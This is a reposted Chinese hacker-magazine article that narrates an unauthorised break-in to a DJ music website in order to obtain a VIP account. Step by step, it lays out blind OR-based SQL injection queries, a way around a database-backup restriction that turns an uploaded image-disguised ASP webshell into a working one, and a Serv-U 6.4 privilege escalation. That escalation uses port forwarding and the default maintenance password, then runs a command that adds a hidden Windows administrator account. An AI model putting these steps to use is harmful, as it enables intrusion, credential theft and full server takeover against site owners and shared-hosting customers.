羽中漫步 發表於 2011-3-22 22:03:26

反常规and 1=1的or 1=2注入技巧

<p>作者:Tommie(C.R.S.T)<br />已经发表在黑客手册2008年第三期.<br />or突破防注入<br />&nbsp;&nbsp;&nbsp; 春节呆在家里上网,我表哥突然找我说要一个DJ网站的VIP会员,说搞定后请我吃KFC,于是就答应了。用IE打开目标网站,找到一个带参数的ASP链接。提交AND 1=1,如图2。<img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205140.jpg" border="0" small="0" alt="" /><br />可能到了这里,有些读者会选择放弃。其实,如果一个网站的防注入不是过滤得很严的话,可以试试or注入。向注入点提交or 1=1,发现跳到另外一个页面了,如图3。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205141.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />然后or 1=2返回最原始的页面了,如图4。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205142.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。用如下语句:<br /><br />/productsview2.asp?id=248 or exists(select * from admin) //判断是否存在admin这个表,发现页面返回正常,也就是图4,说明不存在admin这个表。<br />/productsview2.asp?id=248 or exists(select * from manage) //页面返回异常了,也就是图3,说明存在manage这个表。猜完表后就要猜解字段了。<br />/productsview2.asp?id=248 or exists(select username from manage) //返回异常页面了,说明manage这个表中含有username这个字段,这时我们就可以猜数据了。<br />/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)&lt;123 //判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。<br />/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)&gt;96 //提交后发现返回异常页面,得到第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用牛族多功能ASCII转换工具转换一下就可以得到管理员用户名的第一个字符了。需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)&hellip;&hellip;如此类推。经过一番努力,得到username字段的第一条数据的ASCII值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码,先猜字符再猜数据。<br />html备份限制的突破<br />&nbsp;&nbsp;&nbsp; 用明小子跑了下后台,如图5。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205143.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />用注入得到的用户密码登陆后台,逛了一圈之后发现有备份数据库的地方,如图6。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205144.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />不过有HTML限制,这个可以突破的。&ldquo;查看&rdquo;-&ldquo;源文件&rdquo;-&ldquo;文件&rdquo;-&ldquo;另存为&rdquo;,保存到本地。接着用文本格式打开它,找到&ldquo;&lt;form method=&quot;post&quot; action=&quot;admin_data.asp?action=backdata&amp;act=backup&quot;&gt;&rdquo;,把这里的action改为admin_data.asp这个文件的URL路径:&ldquo;http://www.xxx.com/admin/admin_data.asp?action=backdata&amp;;act=backup&rdquo;,再修改&ldquo;&lt;input type=&quot;text&quot; size=&quot;25&quot; value=&quot;/data/#ylmv_data.mdb&quot; disabled&gt;&lt;input type=hidden name=DBpath value=&quot;/data/#ylmv_data.mdb&quot;&gt;&rdquo;的第二个value值&ldquo;/data/#ylmv_data.mdb&rdquo;改为你需要备份的文件。可能有些读者不明白为什么要这样改,这里就要运用到一些HTML知识了,如果不会的朋友可以把凡是涉及&ldquo;/data/#ylmv_data.mdb&rdquo;这个路径(也就是当前数据库路径)全部替换为你需要备份的文件。这种备份限制相信很多读者都遇过,如果不知道突破的方法很可能又会放弃的了,所以在这里奉劝大家最好学学这方面的知识,跟着保存修改后的文件。但问题又来了,在后台找不到可以上传文件的功能,这时可以到前台看看能不能找到可以上传的地方,这里的DJ网站能让我们注册会员(普通会员),于是我就注册了一个会员,在控制面版里找到可以上传头像的地方,于是上传了一个只是把后缀改为gif格式的一句话asp木马,上传后如图7。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205145.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />原来是判断文件头,这时我们可以借助ASP图片木马生成器这款软件,先把一张比较小的图片(经过后来的测试发现除了判断文件头还判断大小)和一个asp一句话木马放到这款软件的目录下,写好名称进行生成,如图8。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205146.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />就会在所在目录生成一个&ldquo;aspmuma.gif&rdquo;图片木马,把它上传上去,如图9。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205147.jpg" border="0" small="0" alt="" /></div>
<p><br />把返回的相对路径按照上面的方法替换好,打开后如图10,</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205148.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />写好备份后的路径进行备份,如图11。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2205149.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />用lake2的eval最小马发送端连接上去,如图12。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051410.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />Serv-U 6.4提权<br />&nbsp;&nbsp;&nbsp; 拿到WEBSHELL只要修改下数据库就可以拿到VIP会员了,相信大家都会,以前的手册也有介绍过。既然拿到SHELL,不提权怎对得起自己呢?先来看看这个虚拟主机是用什么FTP软件搭建的。&ldquo;开始&rdquo;-&ldquo;运行&rdquo;-&ldquo;FTP www.xxx.com&rdquo;,如图13。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051411.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />最近,6.4这个版本有人发布了提权asp出来,于是我下载回来进行测试,发现无法成功提权,很多朋友都和我一样觉得很郁闷。其实网上的ASP大多都是依赖XMLHTTP这个组件来访问本地的43958端口添加系统权限FTP用户,那么我们不用XMLHTTP来替我们添加FTP用户而是我们自己创造条件来访问43958端口又行不行呢?<br />&nbsp;&nbsp;&nbsp; 上传一个被压缩过的CMD.EXE(因为IIS6.0默认不让上传超过200KB的文件)和一个转发工具:Fpipe.exe到&ldquo;C:\Documents and Settings\All Users\Documents&rdquo;这个目录(这个目录默认是everyone权限),并且已经在本地安装好SERV-U。<br />在WEBSHELL执行&ldquo;&quot;C:\Documents and Settings\All Users\Documents\FPipe.exe&quot; -v -l 43959 -r 43958 127.0.0.1&rdquo;,如图14。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051412.jpg" border="0" small="0" alt="" /></div>
<p><br />执行之后IIS会处于假死现象,到了这时之后操作一定要迅速,不然被管理员发现网站访问速度慢了许多就麻烦了。打开SERV-U,右键新建一个服务器,如图15。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051413.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />第一步输入目标IP,第二步会提示要你输入端口号,这时我们输入转发出来的端口43959,第三步输入FTP服务器名称,可以随便输入,第四步输入默认维护帐号&ldquo;LocalAdministrator&rdquo;,第五步输入默认密码&ldquo;#l@$ak#.lk;0@P&rdquo;,连接对方FTP服务器,如图16,</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051414.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />发现已经得到对方FTP服务器的管理权限!新建一个FTP用户,在&ldquo;帐户&rdquo;-&ldquo;特权&rdquo;那里选为&ldquo;系统管理员&rdquo;,在&ldquo;目录访问&rdquo;那里把所有权限勾上,最后&ldquo;应用&rdquo;,如图17,18。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051415.jpg" border="0" small="0" alt="" /></div>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051416.jpg" border="0" small="0" alt="" /></div>
<p><br /><br /><br />&nbsp;&nbsp;&nbsp; &ldquo;开始&rdquo;-&ldquo;运行&rdquo;-&ldquo;FTP www.xxx.com&rdquo;,输入刚才新建FTP用户和密码,因为对方开了3389,所以连接上后执行&ldquo;quote site exec net user Tommie nohack /add &amp; net localgroup administrators Tommie /add&rdquo;,返回&ldquo;200 EXEC command successful&rdquo;说明成功添加了一个用户是Tommie密码为nohack的管理员,如图19。</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051417.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />登陆3389,打开&ldquo;任务管理器&rdquo;-&ldquo;进程&rdquo;,勾选&ldquo;显示所有用户的进程&rdquo;,找到转发工具的进程Fpipe.exe结束之,如图20,</p>
<p></p>
<div forimg="1"><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/22051418.jpg" border="0" small="0" alt="" /></div>
<p><br /><br />使IIS再次恢复正常工作。<br />感想<br />&nbsp;&nbsp;&nbsp; 这次入侵让我回想起Gene6的提权,虽然虚拟主机的目录权限早已设置得死死的,但兴幸的是Documents这样的目录并没有被设置,而且Serv-U默认只允许127.0.0.1(也就是本地,当然,你也可以把Serv-U设置成0.0.0.0这样,也就是无限制连接)访问43958端口,所以可以通过转发来解决来这个问题。经过多个版本的测试,这个目录无修改权限的提权方法是通杀所有版本的。前提服务器必须要支持WScript.Shell组件或支持执行命令。最后文章有不清楚的朋友可以直接到黑客手册论坛找我。论坛Id:Tommie。</p>
頁: [1]
查看完整版本: 反常规and 1=1的or 1=2注入技巧